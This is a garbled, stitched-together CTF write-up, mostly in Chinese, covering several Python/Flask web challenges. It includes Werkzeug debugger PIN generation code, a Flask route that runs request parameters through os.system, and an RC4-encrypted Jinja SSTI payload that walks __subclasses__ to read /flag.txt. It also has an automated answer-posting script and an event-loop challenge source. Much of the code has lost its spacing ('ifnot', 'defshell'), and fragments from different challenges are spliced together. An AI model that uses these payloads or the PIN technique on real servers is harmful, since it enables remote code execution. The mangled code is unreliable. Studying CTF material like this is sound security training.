h = hashlib.md5() for bit in chain(probably_public_bits, private_bits): ifnot bit: continue if isinstance(bit, str): bit = bit.encode('utf-8') h.update(bit) h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None if num isNone: h.update(b'pinsalt') num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None if rv isNone: for group_size in5, 4, 3: if len(num) % group_size == 0: rv = '-'.join(num[x:x + group_size].rjust(group_size, '0') for x in range(0, len(num), group_size)) break else: rv = num
defsafe_jinja(s): s = s.replace('(', '').replace(')', '') blacklist = ['config', 'self'] return''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
# You will never find the thing you want:) I think @app.route('/shell') defshell(): os.system("rm -f flag.txt") exec_cmd = request.args.get('c') os.system(exec_cmd) return"1"
File "/app/app.py", line 35, in secret if(secret==None): return 'Tell me your secret.I will encrypt it so others can\'t see' rc=rc4_Modified.RC4("HereIsTreasure") #解密 deS=rc.do_crypt(secret) a=render_template_string(safe(deS)) if 'ciscn' in a.lower(): return 'flag detected!' return a
import base64 from urllib.parse import quote defrc4_main(key = "init_key", message = "init_message"): # print("RC4加密主函数") s_box = rc4_init_sbox(key) crypt = str(rc4_excrypt(message, s_box)) return crypt defrc4_init_sbox(key): s_box = list(range(256)) # print("原来的 s 盒:%s" % s_box) j = 0 for i in range(256): j = (j + s_box[i] + ord(key[i % len(key)])) % 256 s_box[i], s_box[j] = s_box[j], s_box[i] # print("混乱后的 s 盒:%s"% s_box) return s_box defrc4_excrypt(plain, box): # print("调用加密程序成功。") res = [] i = j = 0 for s in plain: i = (i + 1) % 256 j = (j + box[i]) % 256 box[i], box[j] = box[j], box[i] t = (box[i] + box[j]) % 256 k = box[t] res.append(chr(ord(s) ^ k)) cipher = "".join(res) print("加密后的字符串是:%s" %quote(cipher)) return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8')) rc4_main("HereIsTreasure","{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/flag.txt').read()}}")
得到加密后的payload后传入,拿到flag。
GXYCTF2019 Strongest Mind
考点
Python脚本
解题
注意Session的使用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
from requests import * import re import time import requests
url = "http://7a9216ad-bfec-45c5-a89e-71e8190e8299.node3.buuoj.cn/" s = requests.session() a = s.get(url) pattern = re.findall(r'\d+.[+-].\d+', a.text) c = eval(pattern[0]) a = s.post(url, data={"answer": c}) for i in range(1000): time.sleep(0.1) pattern = re.findall(r'\d+.[+-].\d+', a.text) c = eval(pattern[0]) print(c) a = s.post(url, data={"answer": c}) print(a.content)
defview_handler(args): page = args[0] html = '' html += '[INFO] you have {} diamonds, {} points now.<br />'.format( session['num_items'], session['points']) if page == 'index': html += '<a href="./?action:index;True%23False">View source code</a><br />' html += '<a href="./?action:view;shop">Go to e-shop</a><br />' html += '<a href="./?action:view;reset">Reset</a><br />' elif page == 'shop': html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />' elif page == 'reset': del session['num_items'] html += 'Session reset.<br />' html += '<a href="./?action:view;index">Go back to index.html</a><br />' return html
source = open('eventLoop.py', 'r') html = '' if bool_download_source != 'True': html += '<a href="./?action:index;True%23True">Download this .py file</a><br />' html += '<a href="./?action:view;index">Go back to index.html</a><br />'
for line in source: if bool_download_source != 'True': html += line.replace('&', '&').replace('\t', ' '*4).replace( ' ', ' ').replace('<', '<').replace('>', '>').replace('\n', '<br />') else: html += line source.close()
defshow_flag_function(args): flag = args[0] # return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it. return'You naughty boy! ;) <br />'
defget_flag_handler(args): if session['num_items'] >= 5: # show_flag_function has been disabled, no worries trigger_event('func:show_flag;' + FLAG()) trigger_event('action:view;index')
if __name__ == '__main__': app.run(debug=False, host='0.0.0.0')